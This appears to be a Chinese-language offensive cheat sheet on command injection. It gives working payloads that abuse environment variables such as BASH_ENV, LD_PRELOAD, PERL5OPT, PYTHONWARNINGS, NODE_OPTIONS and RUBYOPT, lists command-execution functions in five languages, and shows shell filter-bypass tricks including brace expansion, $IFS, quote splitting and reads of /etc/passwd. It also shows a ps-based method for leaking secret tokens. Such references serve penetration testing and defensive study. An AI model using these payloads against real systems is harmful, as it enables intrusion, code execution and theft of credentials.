命令注入
环境变量
BASH_ENV
您可以使用 BASH_ENV
与 bash 来实现命令注入:
$ BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
参考:
BASH_FUNC_*%%
您可以使用 BASH_FUNC_*%%
根据环境变量的值初始化匿名函数并为其命名。以下示例将 myfunc
函数添加到 bash 上下文中:
$ env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
uid=0(root) gid=0(root) groups=0(root)
此外,您可以覆盖现有函数:
$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
参考:
ENV
当您强制 dash 以交互方式运行时,dash 将查找 ENV
环境变量并将其传递给 read_profile
函数:
if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
read_profile(shinit);
}
read_profile
将打印 ENV
内容:
$ ENV='$(id 1>&2)' dash -i -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
您可以使用 sh
获得相同的结果:
$ ENV='$(id 1>&2)' sh -i -c "echo hello"
uid=0(root) gid=0(root) groups=0(root)
hello
参考:
GIT_*
以下 GIT_*
参数可用于滥用 git 目录:
GIT_DIR 是
.git
文件夹的位置GIT_PROXY_COMMAND 用于覆盖
core.gitProxy
GIT_SSH_COMMAND 用于覆盖
core.sshCommand
GIT_EXTERNAL_DIFF 用于覆盖
diff.external
GIT_CONFIG*。现代版本的 Git 支持通过
GIT_CONFIG*
环境变量设置任何配置值
LD_PRELOAD
LD_PRELOAD
是一个可选的环境变量,包含一个或多个共享库或共享对象的路径,加载程序将在任何其他共享库(包括 C 运行时库 libc.so
)之前加载它们。
在 Linux C 中,函数可以在函数定义中使用属性进行声明。这是通过将所需的属性添加到函数定义中来完成的。有两个感兴趣的属性,constructor 和 destructor。具有 constructor
属性的函数将在程序执行 main()
之前运行。对于共享对象,这将发生在加载时。使用 destructor
属性声明的函数应该在 main()
返回或调用 exit()
时运行一次。
换句话说,您可以编译一个共享库在加载时和/或返回之前调用:
重用以下代码来编译共享库:
// C code for LD_PRELOAD injection example // This is a generic LD_PRELOAD example that can be used for testing
使用以下命令编译共享库:
$ gcc -Wall -O3 -fPIC -shared inject.c -o inject.so
利用:
$ LD_PRELOAD=./inject.so git -v [+] Inject.so Loaded! [*] PID: 1337 [*] Process: /usr/bin/git Unknown option: -v usage: git [--version] [--help] [-C <path>] [-c name=value] [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>] <command> [<args>] [-] Inject.so is being unloaded!
$ LD_PRELOAD=./inject.so id [+] Inject.so Loaded! [*] PID: 1337 [*] Process: /usr/bin/id uid=0(root) gid=0(root) groups=0(root)
$ LD_PRELOAD=./inject.so bash -c "echo 'hello'" [+] Inject.so Loaded! [*] PID: 1337 [*] Process: /bin/bash hello [-] Inject.so is being unloaded!
参考:
PERL5OPT
PERL5OPT 指定命令行选项,但仅限于接受选项 CDIMTUWdmtw
。
PERL5OPT=-M
可用于加载 Perl 模块并在模块名称后添加额外代码:
PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`)' perl /dev/null
参考:
PERL5DB
PERL5DB 指定用于加载调试器代码的命令。PERL5DB
仅在 Perl 以裸 -d
开关启动时使用。
PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null
参考:
PERLLIB 和 PERL5LIB
PERLLIB 和 PERL5LIB 设置在标准库中查找 Perl 库文件的目录列表。如果定义了 PERL5LIB
,则不使用 PERLLIB
。
如果有办法将恶意的 Perl 模块写入文件系统,PERLLIB
和 PERL5LIB
可用于执行任意命令:
$ cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("cmdname arg1 arg2");
EOF
$ PERLLIB=/tmp PERL5OPT=-Mroot perl /dev/null
参考:
PYTHONWARNINGS
PYTHONWARNINGS 等同于指定用于警告控制的 -W 选项。参数的完整形式是 action:message:category:module:line
。
如果指定的类别包含点,警告控制会触发任意 Python 模块的导入:
# /Lib/warnings.py
# ...
def _getcategory(category):
if not category:
return Warning
if '.' not in category:
import builtins as m
klass = category
else:
module, _, klass = category.rpartition('.')
try:
m = __import__(module, None, None, [klass])
except ImportError:
raise _OptionError("invalid module name: %r" % (module,)) from None
# ...
如果有办法将恶意的 Python 模块写入文件系统,PYTHONWARNINGS
可用于执行任意命令:
$ cat > /tmp/exec.py << EOF
import os
os.system("cmdname arg1 arg2")
EOF
$ PYTHONPATH="/tmp" PYTHONWARNINGS=all:0:exec.x:0:0 python3 python /dev/null
但是,您可以使用 Python 标准库中的 antigravity
模块来运行任意命令。运行 import antigravity
将立即打开浏览器到 xkcd
漫画,该漫画开玩笑说在 Python 中 import antigravity
会赋予您飞行的能力。antigravity
使用标准库中称为 webbrowser
的另一个模块来打开浏览器。此模块检查 PATH
以查找各种浏览器,包括 mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx
。它还接受一个环境变量 BROWSER
,可用于指定应执行哪个进程。无法在环境变量中为进程提供参数,xkcd
漫画 URL 是命令的硬编码参数:
$ <BROWSER> https://xkcd.com/353/
执行任意命令的一种方法是利用 Perl,它通常安装在系统上,甚至在标准的 Python docker 镜像中也可用。但是,perl
二进制文件本身不能使用。这是因为第一个也是唯一的参数是 xkcd
漫画 URL。漫画 URL 参数将导致错误并使进程退出,而不使用 PERL5OPT
环境变量。
幸运的是,当 Perl 可用时,通常也有默认的 Perl 脚本可用,例如 perldoc
和 perlthanks
。这些脚本也会错误并以无效参数退出,但这种情况下的错误发生在 PERL5OPT
环境变量处理之后。这意味着可以利用 Perl 环境变量来执行命令。
$ PYTHONWARNINGS=all:0:antigravity.x:0:0 BROWSER=perlthanks PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`);' python3 python /dev/null
参考:
NODE_OPTIONS
NODE_OPTIONS 指定以空格分隔的命令行选项列表。
如果有办法将恶意的 Node.js 模块写入文件系统,NODE_OPTIONS
可用于执行任意命令:
$ cat > /tmp/exec << EOF
console.log(require("child_process").execSync("id").toString());
EOF
$ NODE_OPTIONS='--require /tmp/exec' node node /dev/null
如果没有办法将模块写入文件系统,您可以使用 proc 文件系统,特别是 /proc/self/environ
,来传递 payload。
$ AAAA='console.log(require("child_process").execSync("id").toString());//' NODE_OPTIONS'=--require /proc/self/environ' node node /dev/null
但是,有两个约束条件:
使用
/proc/self/environ
只有在内容在语法上有效 JavaScript 时才可能。为此,您需要能够创建环境变量并使其首先出现在/proc/self/environ
的内容中。由于第一个环境变量的值以单行注释
//
结尾,其他环境变量中的任何换行符都将导致语法错误。使用多行注释/*
不会解决问题,因为它们必须关闭才能在语法上有效。在这种情况下,需要覆盖包含换行符的变量的值。
参考:
RUBYOPT
RUBYOPT
指定命令行选项。
如果有办法将恶意的 Ruby 库写入文件系统,RUBYOPT
可用于执行任意命令。-r
选项使 Ruby 使用 require 加载库,但这仅限于扩展名为 .rb
或 .so
的文件:
$ cat > /tmp/exec.rb << EOF
puts `cmdname arg1 arg2`
EOF
$ RUBYOPT=-r/tmp/exec.rb ruby /dev/null
参考:
编程语言
Go
// https://pkg.go.dev/os#StartProcess
// os.StartProcess
var procAttr = os.ProcAttr
os.StartProcess(
"cmdname",
[]string{"arg1", "arg2"},
&procAttr,
)
// https://pkg.go.dev/os/exec#Command
// os/exec.Command
exec.Command("cmdname", "arg1", "arg2").Run()
// 命令行执行
cmd := exec.Command("bash", "-c", "cmdname arg1 arg2")
out, err := cmd.Output()
// https://pkg.go.dev/os/exec#CommandContext
// os/exec.CommandContext
exec.CommandContext(ctx, "cmdname", "arg1", "arg2").Run()
// https://pkg.go.dev/os/exec#Cmd
// os/exec.Cmd
cmd := &exec.Cmd {
Path: "cmdname",
Args: []string{ "arg1", "arg2" },
}
cmd.Run();
// https://pkg.go.dev/syscall#Exec
// syscall.Exec
syscall.Exec(
"cmdname",
[]string{ "arg1", "arg2" },
os.Environ(),
)
// https://pkg.go.dev/syscall#ForkExec
// syscall.ForkExec (仅限 unix)
var procAttr = os.ProcAttr
syscall.ForkExec(
"cmdname",
[]string{ "arg1", "arg2" },
&procAttr,
)
// https://pkg.go.dev/syscall#StartProcess
// syscall.StartProcess
var procAttr = os.ProcAttr
syscall.StartProcess(
"cmdname",
[]string{ "arg1", "arg2" },
&procAttr,
)
// https://pkg.go.dev/syscall?GOOS=windows#CreateProcess
// https://pkg.go.dev/syscall?GOOS=windows#CreateProcessAsUser
// syscall.CreateProcess 和 syscall.CreateProcessAsUser (仅限 windows)
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
cmdline := syscall.UTF16PtrFromString("cmdname arg1 arg2")
syscall.CreateProcess(nil, cmdline, nil, nil, true, 0, nil, nil, &sI, &pI)
Java
// https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html
// java.lang.Runtime.exec
Runtime.getRuntime().exec("cmdname arg1 arg2");
Runtime.getRuntime().exec(new String[] {"cmdname", "arg1", "arg2"})
// 或完整路径
java.lang.Runtime.getRuntime().exec("cmdname arg1 arg2");
// https://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html
// java.lang.ProcessBuilder
new ProcessBuilder("cmdname", "arg1", "arg2").start();
new ProcessBuilder(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或使用命令
ProcessBuilder pb = new ProcessBuilder();
pb.command("cmdname", "arg1", "arg2").start();
pb.command(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或完整路径
new java.lang.ProcessBuilder("cmdname", "arg1", "arg2").start();
// https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/Executor.html
// org.apache.commons.exec.Executor
Executor exec = new DefaultExecutor();
exec.execute(new CommandLine("cmdname arg1 arg2"););
// javax.script.ScriptEngine eval
new ScriptEngineManager()
.getEngineByExtension("js")
.eval("js code here");
// java.lang.Runtime loadLibrary
Runtime.getRuntime().loadLibrary("library path here");
java.lang.Runtime.getRuntime().loadLibrary("library path here");
// https://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyShell.html
// groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate(...);
shell.parse(...);
shell.parseClass(...);
Node.js
// child_process 或 mz/child_process
// https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback
// child_process.exec
const { exec } = require('child_process');
exec('cmdname arg1 arg2');
exec('...', { 'shell': '/path/to/controlled/executable/file' });
// https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
// child_process.execSync
const { execSync } = require('child_process');
execSync('cmdname arg1 arg2');
execSync('...', { 'shell': '/path/to/controlled/executable/file' });
// https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback
// child_process.execFile
const { execFile } = require('child_process');
execFile('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });
// https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options
// child_process.execFileSync
const { execFileSync } = require('child_process');
execFileSync('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });
// https://nodejs.org/api/child_process.html#child_processspawncommand-args-options
// child_process.spawn
const { spawn } = require('child_process');
spawn('cmdname', ['arg1', 'arg2']);
spawn('cmdname arg1 arg2', { shell: true });
// https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options
// child_process.spawnSync
const { spawnSync } = require('child_process');
spawnSync('cmdname', ['arg1', 'arg2']);
spawnSync('cmdname arg1 arg2', { shell: true });
// https://www.npmjs.com/package/shelljs
// shelljs.exec
var shell = require('shelljs');
shell.exec('cmdname arg1 arg2');
// https://www.npmjs.com/package/cross-spawn
// cross-spawn.spawn
const spawn = require('cross-spawn');
spawn('cmdname', ['arg1', 'arg2']);
spawn.sync('cmdname', ['arg1', 'arg2']);
// https://www.npmjs.com/package/execa
// execa
// https://github.com/sindresorhus/execa#execafile-arguments-options
// execa.execa
import { execa } from 'execa';
execa.execa('cmdname', ['arg1', 'arg2']);
// https://github.com/sindresorhus/execa#execasyncfile-arguments-options
// execa.execaSync
import { execaSync } from 'execa';
execa.execaSync('cmdname', ['arg1', 'arg2']);
// https://github.com/sindresorhus/execa#command
// execa.$`command`
import { $ } from 'execa';
$`cmdname arg1 arg2`;
// https://github.com/sindresorhus/execa#synccommand
// execa.$.sync`command`
import { $ } from 'execa';
$.sync`cmdname arg1 arg2`
// https://github.com/sindresorhus/execa#execacommandcommand-options
// execa.execaCommand
execa.execaCommand('cmdname arg1 arg2')
// https://github.com/sindresorhus/execa#execacommandsynccommand-options
// execa.execaCommandSync
execa.execaCommandSync('cmdname arg1 arg2')
Python
# https://docs.python.org/3/library/os.html#os.system
# os.system
os.system("cmdname arg1 arg2")
# https://docs.python.org/3/library/os.html#os.popen
# os.popen
os.popen("cmdname arg1 arg2")
# https://docs.python.org/2.7/library/os.html#os.popen2
# 已弃用,在 Python <= 2.7 中可用
# os.popen2, os.popen3, os.popen4
os.popen2("cmdname arg1 arg2")
# https://docs.python.org/3/library/os.html#os.spawnl
# os.spawn*
os.spawnl(mode, "path", "arg1", "arg2")
os.spawnle(mode, "path", "arg1", "arg2", os.environ)
os.spawnlp(mode, "file", "arg1", "arg2")
os.spawnlpe(mode, "file", "arg1", "arg2", os.environ)
os.spawnv(mode, "path", ["arg1", "arg2"])
os.spawnve(mode, "path", ["arg1", "arg2"], os.environ)
os.spawnvp(mode, "file", ["arg1", "arg2"])
os.spawnvpe(mode, "file", ["arg1", "arg2"], os.environ)
# https://docs.python.org/3/library/os.html#os.execl
# os.exec*
os.execl("path", "arg1", "arg2")
os.execle("path", "arg1", "arg2", os.environ)
os.execlp("file", "arg1", "arg2")
os.execlpe("file", "arg1", "arg2", os.environ)
os.execv("path", ["arg1", "arg2"])
os.execve("path", ["arg1", "arg2"], os.environ)
os.execvp("file", ["arg1", "arg2"])
os.execvpe("file", ["arg1", "arg2"], os.environ)
# https://docs.python.org/3/library/os.html#os.posix_spawn
# os.posix_spawn
os.posix_spawn("path", ["arg1", "arg2"], os.environ)
# https://docs.python.org/3/library/os.html#os.posix_spawnp
# os.posix_spawnp
os.posix_spawn("path", ["arg1", "arg2"], os.environ)
# https://docs.python.org/3/library/subprocess.html#subprocess.call
# subprocess.call
subprocess.call("cmdname arg1 arg2", shell=True)
subprocess.call(["cmdname", "arg1", "arg2"])
# https://docs.python.org/3/library/subprocess.html#subprocess.run
# subprocess.run
subprocess.run("cmdname arg1 arg2", shell=True)
subprocess.run(["cmdname", "arg1", "arg2"])
# https://docs.python.org/3/library/subprocess.html#subprocess.Popen
# subprocess.Popen
subprocess.Popen("cmdname arg1 arg2", shell=True)
subprocess.Popen(["cmdname", "arg1", "arg2"])
# https://docs.python.org/3/library/subprocess.html#subprocess.check_call
# subprocess.check_call
subprocess.check_call("cmdname arg1 arg2", shell=True)
subprocess.check_call(["cmdname", "arg1", "arg2"])
# https://docs.python.org/3/library/subprocess.html#subprocess.check_output
# subprocess.check_output
subprocess.check_output("cmdname arg1 arg2", shell=True)
subprocess.check_output(["cmdname", "arg1", "arg2"])
# https://docs.python.org/3/library/subprocess.html#subprocess.getoutput
# subprocess.getoutput
subprocess.getoutput("cmdname arg1 arg2")
# https://docs.python.org/3/library/subprocess.html#subprocess.getstatusoutput
# subprocess.getstatusoutput
subprocess.getstatusoutput("cmdname arg1 arg2")
# https://docs.python.org/2.7/library/popen2.html#module-popen2
# 已弃用,在 Python <= 2.7 中可用
# popen2.popen2, popen2.popen3, popen2.popen4, popen2.Popen3, popen2.Popen4
popen2.popen2("cmdname arg1 arg2")
popen2.Popen3("cmdname arg1 arg2")
# https://docs.python.org/2.7/library/platform.html#platform.popen
# 已弃用,在 Python <= 2.7 中可用
platform.popen("cmdname arg1 arg2")
Ruby
# 反引号
`cmdname arg1 arg2`
# %x 命令
%x cmdname ;
# %x<CHAR>命令<CHAR>
%x(cmdname arg1 arg2)
%x[cmdname arg1 arg2]
%x|cmdname arg1 arg2|
%x{cmdname arg1 arg2}
%x/cmdname arg1 arg2/
%x"cmdname arg1 arg2"
# ...
# shell heredoc
<<`EOF`
cmdname arg1 arg2
EOF
# https://ruby-doc.org/3.2.1/Kernel.html#method-i-exec
# Kernel.exec
exec("cmdname arg1 arg2")
exec(["cmdname", "argv0"], "arg1", "arg2")
exec("cmdname", "arg1", "arg2")
# 或
Kernel.exec("cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/Kernel.html#method-i-system
# Kernel.system
system("cmdname arg1 arg2")
system(["cmdname", "argv0"], "arg1", "arg2")
system("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/Kernel.html#method-i-spawn
# Kernel.spawn
spawn("cmdname arg1 arg2")
spawn(["cmdname", "argv0"], "arg1", "arg2")
spawn("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/Kernel.html#method-i-open
# Kernel.open
open("| cmdname arg1 arg2")
# 或
Kernel.open("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/Process.html#method-c-spawn
# Process.spawn
Process.spawn("cmdname arg1 arg2")
Process.spawn(["cmdname", "argv0"], "arg1", "arg2")
Process.spawn("cmdname", "arg1", "arg2")
# https://ruby-doc.org/3.2.1/Process.html#method-c-exec
# Process.exec
Process.exec("cmdname arg1 arg2")
Process.exec(["cmdname", "argv0"], "arg1", "arg2")
Process.exec("cmdname", "arg1", "arg2")
# https://ruby-doc.org/3.2.1/IO.html#method-c-popen
# IO.popen
IO.popen("cmdname arg1 arg2")
IO.popen(["cmdname", "arg1", "arg2"])
IO.popen([["cmdname", "argv0"], "arg1", "arg2"])
# https://ruby-doc.org/3.2.1/IO.html#method-c-read
# IO.read
IO.read("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/IO.html#method-c-write
# IO.write
IO.write("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/IO.html#method-c-binread
# IO.binread
IO.binread("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/IO.html#method-c-binwrite
# IO.binwrite
IO.binwrite("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/IO.html#method-c-foreach
# IO.foreach
IO.foreach("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/IO.html#method-c-readlines
# IO.readlines
IO.readlines("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2
# Open3.capture2
Open3.capture2("cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2e
# Open3.capture2e
Open3.capture2e("cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture3
# Open3.capture3
Open3.capture3("cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2
# Open3.popen2
Open3.popen2("cmdname arg1 arg2")
Open3.popen2(["cmdname", "arg1", "arg2"])
Open3.popen2([["cmdname", "argv0"], "arg1", "arg2"])
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2e
# Open3.popen2e
Open3.popen2e("cmdname arg1 arg2")
Open3.popen2e(["cmdname", "arg1", "arg2"])
Open3.popen2e([["cmdname", "argv0"], "arg1", "arg2"])
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen3
# Open3.popen3
Open3.popen3("cmdname arg1 arg2")
Open3.popen3(["cmdname", "arg1", "arg2"])
Open3.popen3([["cmdname", "argv0"], "arg1", "arg2"])
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_r
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_rw
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_start
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_w
# Open3.pipeline(_r/_w/_rw/_start)
Open3.pipeline("cmdname arg1 arg2", "cmdname arg1 arg2")
Open3.pipeline(["cmdname", "arg1", "arg2"], "cmdname arg1 arg2")
Open3.pipeline([["cmdname", "argv0"], "arg1", "arg2"], "cmdname arg1 arg2")
# https://ruby-doc.org/stdlib-2.5.1/libdoc/open-uri/rdoc/OpenURI.html
# URI.open
# 参考:https://sakurity.com/blog/2015/02/28/openuri.html
require "open-uri"
URI.open("| cmdname arg1 arg2")
# https://ruby-doc.org/3.2.1/Object.html#method-i-send
# https://ruby-doc.org/3.2.1/Object.html#method-i-public_send
# 参考:https://bishopfox.com/blog/ruby-vulnerabilities-exploits
# Object.send, Object.public_send
1.send("eval", "`cmdname arg1 arg2`")
"".send("eval", "`cmdname arg1 arg2`")
o.send("method", "args")
Linux 文件
/etc/environment
/etc/environment 包含指定新 shell 基本环境变量的环境变量。但是,它可以被其他程序使用。Linux 任务调度程序(cron)中的每个执行作业都导入此文件,如果存在由用户(例如 root)执行的作业,您可以滥用 /etc/environment
代表该用户执行任意代码。例如,您可以使用 LD_PRELOAD 来获得代码执行。
参考:
技巧
花括号扩展
花括号扩展是一种生成任意字符串的机制。要花括号扩展的模式采用可选序言的形式,后跟一系列逗号分隔的字符串或一对花括号之间的序列表达式,后跟可选的后记。序言前缀到包含在花括号内的每个字符串,然后后记附加到每个结果字符串,从左到右扩展。例如:
$ echo a{d,c,b}e
ade ace abe
您可以使用花括号扩展来创建 payload:
$ {cat,/etc/passwd}
参考:
命令替换
命令替换允许命令的输出替换命令本身。当命令按如下方式包含时,会发生命令替换:
$(command)
`command`
Bash 通过在子 shell 环境中执行命令并用命令的标准输出替换命令替换来执行扩展。
参考:
字符编码
有几种处理编码字符串的方法:
$'string'
单词:形式为
$'string'
的单词被特殊处理。该单词扩展为字符串,反斜杠转义字符按照 ANSI C 标准指定的方式替换。$ a=$'\x74\x65\x73\x74'; echo $a $ a=$'\164\145\163\164'; echo $a $ a=$'\u0074\u0065\u0073\u0074'; echo $a $ a=$'\U00000074\U00000065\U00000073\U00000074'; echo $a
echo
命令:echo
提供-e
选项来解释反斜杠转义。注意识别的序列取决于echo
的版本,以及-e
选项可能根本不存在。echo -e "\x74\x65\x73\x74" echo -e "\0164\0145\0163\0164"
xxd
命令:$ xxd -r -p <<< 74657374 $ xxd -r -ps <(echo 74657374)
参考:
泄露命令行参数
如果您在 cli 命令中有参数注入,该命令已传递敏感参数,如令牌或密码,您可以尝试使用 ps x -w
泄露传递的秘密。
# 您可以向 <injection here> 部分注入任意参数
$ command --user username --token SECRET_TOKEN <injection here>
# 使用 & 将易受攻击的命令发送到后台
# 并使用 ps x -w 捕获参数
$ command --user username --token SECRET_TOKEN & ps x -w
PID TTY STAT TIME COMMAND
1337 ? S 0:00 /usr/bin/command --user username --token SECRET_TOKEN
1574 ? R 0:00 ps x -w
如果 cli 日志隐藏敏感设置或敏感数据未存储在环境中,这可能会很有用。
如果 cli 日志隐藏敏感数据或敏感数据未存储在环境中(例如,GitHub Actions 提供变量插值 ${{...}}
用于注入秘密,并且您无法在执行期间访问秘密),这可能会很有用。另一种情况是当您有盲注时,可以将 ps x -w
的输出重定向到您有权访问的文件。
命令列表
使用运算符 ;
、&
、&&
或 ||
组合多个命令的执行,并可选择由 ;
、&
或 \n
之一终止。
$ command1; command2
$ command1 & command2
$ command1 && command2
$ command1 || command2 # 仅当 command1 失败时
$ command1\ncommand2
此外,您可以使用管道用于相同的目的:
$ command1 | command2
$ command1 |& command2
参考:
使用 tr 产生斜杠
$ echo . | tr '!-0' '"-1'
$ tr '!-0' '"-1' <<< .
$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
重定向
在命令执行之前使用运算符 >
、>|
、>>
、<
等重定向输入和输出。
$ ls > dirlist 2>&1
$ cat</etc/passwd
使用运算符 <<<
提供附加换行符的单个字符串。
$ base64 -d <<< dGVzdA==
参考:
Shell 参数扩展
参数扩展的基本形式是 ${parameter}
;参数的值被替换:
$ a="es"; echo "t${a}t"
更复杂的参数扩展形式允许您执行各种操作。例如,您可以提取子字符串并使用它们来创建 payload:
$ echo ${HOME:0:1}
$ cat ${HOME:0:1}etc${HOME:0:1}passwd
此外,匹配和替换在使用黑名单时可能很有用:
$ a=/eAAA/Atc/paAAA/Asswd; echo ${a//AAA\/A/}
参考:
特殊 Shell 参数
有几个参数 Shell 会特殊处理。其中一些参数您可用于创建 payload:
$ i$@d
# $0 扩展为 shell 或 shell 脚本的名称
$ bash -c 'echo id|$0'
参考:
Shell 变量
Bash 自动为许多变量分配默认值,如 HOME
或 PATH
。其中一些变量可用于创建 payload。例如,您可以将 IFS
变量用作分隔符(这是可能的,因为 IFS
包含分隔字段的字符列表):
$ cat$IFS/etc/passwd
$ echo${IFS}"test"
此外,您可以覆盖 IFS
并使用任何字符作为分隔符:
$ IFS=,;`cat<<<uname,-a`
参考:
技巧
# 在命令名中使用单引号
$ w'h'o'am'i
# 在命令名中使用双引号
$ w"h"o"am"i
# 在命令名中使用反斜杠和斜杠
$ w\ho\am\i
$ /\b\i\n/////s\h
参考
最后更新于